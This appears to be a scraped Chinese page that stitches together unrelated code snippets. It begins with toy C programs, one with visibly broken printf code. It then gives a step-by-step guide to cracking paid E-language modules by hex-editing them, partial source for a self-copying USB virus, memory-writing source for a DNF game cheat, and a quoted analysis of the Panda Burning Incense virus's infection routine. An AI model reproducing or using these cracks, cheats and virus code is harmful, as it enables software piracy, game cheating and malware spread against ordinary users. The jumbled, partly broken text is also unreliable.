(amd64架构) | |-- arm (arm架构) | |-- bsdsrc (?bsd的源码)

(完整word版)C语言源代码

剪刀石头布源代码 #include #include main() { int d,x; { printf(" 请输入:1 是剪刀,2 是石头,3是布"); scanf("%d",&d); x=rand()%3; if(d==x) printf(" 双方平局"); else if((d==1&&x==2)||(d==2&&x==3)||(d==3&&x==1)) printf(" 你赢了"); else printf(" 电脑赢了"); } }

简单计算器 #include main() { int a,b,d=0; char c; while(d==0) { printf(" 请开始计算,请输入需要运算的数字和运算法则,数字 符号数字:"); scanf("%d%c%d",&a,&c,&b); switch(c) { case'+': printf("%d+%d=%d\n",a,b,a+b); break; case'-': printf("%d-%d=%d\n",a,b,a-b); break; case'*': printf("%d*%d=%d\n",a,b,a*b); break; case'/': if(0==b) printf(" 除法被除数不能为零!\n") ; else printf("%d/%d=%d\n",a,b,a/b); break; } } }

加油站加油问题 #include int main() { double a = 3.25, b = 3.00, c= 2.75; double d = 0.05, e = 0.10, m; int x,y,z; printf(" 请输入您要的加油量:"); scanf("%d",&x); printf(”请输入您要的汽油种类,1-a型汽油售价3.25元/千克,2-b型汽油售价3.00元/千克, 3-c型汽油售价2.75元/千克:”); scanf("%d",&y); printf(" 请输入您要的服务类型,1-自己加服务优惠0.05,2-协助加服务优惠0.10:");scanf("%d",&z); switch(y) { case 1: y = a;break; case 2: y = b;break; case 3: y = c;break; } if(z == 1) m = (1 - d) * y * x; else if(z == 2) m = (1 - e) * y * x; ",m); printf(" 您需要支付:%f 元,谢谢惠顾,欢迎下次再来 return 0; }

E语言模块的破解反编译方法-悠悠原创

E语言模块的破解反编译方法-悠悠原创 一定有很多用E语言编写程序的人,对API函数不是很了解。 只能用别人编写的模块 但是呢。。。 别人的模块有要花钱。咱们都是没钱地穷人。 嘿嘿~~ 我个人是支持正版的,但是我更喜欢破解的。 所以今天就在这里教大家怎么去破解E模块!只是方法而已,别去乱用哦``要不偶是不负责地 废话不多说了我们开始(感谢百度提供了我很多资料)就用“xx海”的最新超级模块3.65版来下手吧! 1,先用C32打开易模块。然后在12字节处.把数值改为61 ,60字节处把数值改为EE ,124字节处数值改为1 然后保存!OK了。这样就把模块转变为源码。 2,用易语言把模块打开。然后就有很多子程序了。把开始注册的那个程序集全部删除掉。然后保存。! 3,再用C32把模块打开。然后在12字节处.把数值改为63 ,60字节处把数值改为EC,124字节处数值改为3 同样保存。可以了,这样就完成了破解了。可以无限制的用! 个人感觉C32很不好用,尤其是新人用起来不知道是什么。这里我编写了一个比较简单的程序“E 模块破解转换器-吾爱破解决v1.0版.exe” 作用就是用来把E模块转换为E源码,再把E源码反编译为E模块见下图

下载(15.68 KB) 2010-1-29 21:22 此软件方法很简单:1,点击模块反编译键就可以把模块转为E源码,然后你用E语言打开该模块,删除里面的加了限制的代码,然后保存。 2,再点击模块编译键把保存好的源码反编译为E模块 OK``破解完成了`` 怎么样`很简单吧

下载(221 KB) 2010-1-29 21:27

正版模块信息 下载(30.2 KB) 2010-1-29 21:28 把正版模块转换为E源码

C语言实现的U盘病毒

C语言实现U盘病毒 【注意:别拿去坑人,后果自负,仅限学习使用】#include #include BOOL UDevice(); void ResourceToFile(char *filename, char *Name, char* Type); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { UDevice(); return 0; } BOOL UDevice() { while (1) { char Name[256] = "H:\\"; char szName[256]; char ToPath[256]; char infPath[256]; char OpenUDevice[79]; UINT retType; memset(szName, 0, 256); memset(ToPath, 0, 256); memset(infPath, 0, 256); memset(OpenUDevice, 0, 79); //do //{ //}while() //遍历盘符 unsigned char i = 0x42; for (; i < 0x5B; i += 0x1) { Name[0] = i; retType = GetDriveType(Name); //判断是否是可移动存储设备 if (retType == DRIVE_REMOVABLE) { //得到自身文件路径 GetModuleFileName(NULL, szName, 256);

易语言DNF召唤、无敌、技能HOOK源码教程。

易语言DNF召唤、无敌、技能HOOK源码教程。 学习各种外挂制作技术,马上去百度搜索"魔鬼作坊" 点击第一个站去那里学习喽。 F1=十字改轮子 F2=吸头改分针 F3=银光改喷毒 F4=裂波改紫风 F5=加血 F6=加蓝 .版本2 007CDCFC 20050 007D2066 20016 007CD571 20028 0064A0E6 21001 006494F8 22208 .程序集窗口程序集1 .程序集变量十字改召唤野猪魔剑, 整数型 .程序集变量十字改分针, 整数型 .程序集变量银光改地火, 整数型 .程序集变量银光改爆炎, 整数型 .程序集变量SSS, 整数型 .程序集变量霸体, 整数型 .子程序_窗口1_创建完毕 鼠标显示() 内存操作.提升权限() 内存操作.打开进程() 十字改召唤野猪魔剑=热键.注册(窗口1.取窗口句柄(), 0, #F1键, &十字改召唤野猪魔剑) 十字改分针=热键.注册(窗口1.取窗口句柄(), 0, #F2键, &十字改分针) 银光改地火=热键.注册(窗口1.取窗口句柄(), 0, #F3键, &银光改地火) 银光改爆炎=热键.注册(窗口1.取窗口句柄(), 0, #F4键, &银光改爆炎) SSS =热键.注册(窗口1.取窗口句柄(), 0, #F5键, &SSS) 霸体=热键.注册(窗口1.取窗口句柄(), 0, #F6键, &霸体) .子程序十字改召唤野猪魔剑 写内存整数型(取窗口进程ID (窗口1.取窗口句柄()), 十六到十(“0079556D”), 860615) ' 十字改召唤野猪魔剑

.子程序十字改分针 写内存整数型(取窗口进程ID (窗口1.取窗口句柄()), 十六到十(“0079556D”), 860622) ' 十字改分针 .子程序银光改地火 写内存整数型(取窗口进程ID (窗口1.取窗口句柄()), 十六到十(“00799F38”), 20044) ' 银光改地火 .子程序银光改爆炎 写内存整数型(取窗口进程ID (窗口1.取窗口句柄()), 十六到十(“00799F38”), 860330) ' 银光改爆炎 .子程序霸体 内存操作.写代码(“010CF69C+4F0=1”) ' 霸体 .子程序SSS 内存操作.写代码(“0169EEA9={144,144,144}”) ' 3S .子程序_按钮1_被单击 内存操作.写代码(“01080FD4+1CA8=5”) ' 远程卖 .子程序_按钮2_被单击 内存操作.写代码(“01080FD4+1CA8=6”) ' 远程修

熊猫烧香(源代码)

(一) 主程序段分析 原“熊猫烧香”病毒“源码”主程序段代码如下所示: {==================主程序开始====================} begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之? end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了,开始工作 begin TmpFile := ParamStr(0); //创建临时文件……....Line n Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7 InfectFiles; //感染和发邮件 end; end. 对于代码: RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 虽然源码提供者省略了相应实现,但这是比较基本的编程实现。通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。当然,还可以进一步施加技巧而使自己从Windows 任务管理器下隐藏显示。然后,上面代码在判断当前操作系统不是Win9X后,提到“远程线程映射到Explorer进程”一句。其实这里所用Jeffrey Richter所著《Windows 95 Windows NT 3.5 高级编程技术》(后多次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线来注入一个DLL”技术。如今,只要上网GOOGLE一下“远程线程映射技术”即出现大量实片断,故在不再赘述。那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,Explorer(注:Windows资源管理器的名字也是Explorer.exe,但并不是一回事!)进程在Windows系统中举足轻重—Windows在启动过程中都会随同激活一个名为Explorer.exe的进程。它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会导致Windows图形界面无法适用。注:这并不是说Windows的运行根本离开它;但删除掉这个程序后,整个Windows桌面无法再用,而对于普通用户也感觉到好象法再使用Windows了。 另注:VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当n=0时,返回当前可执行文件名(包含完整的路径)。因此,上面代码中从n行到第n+7行的作用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。这是病毒的重要伪

相关主题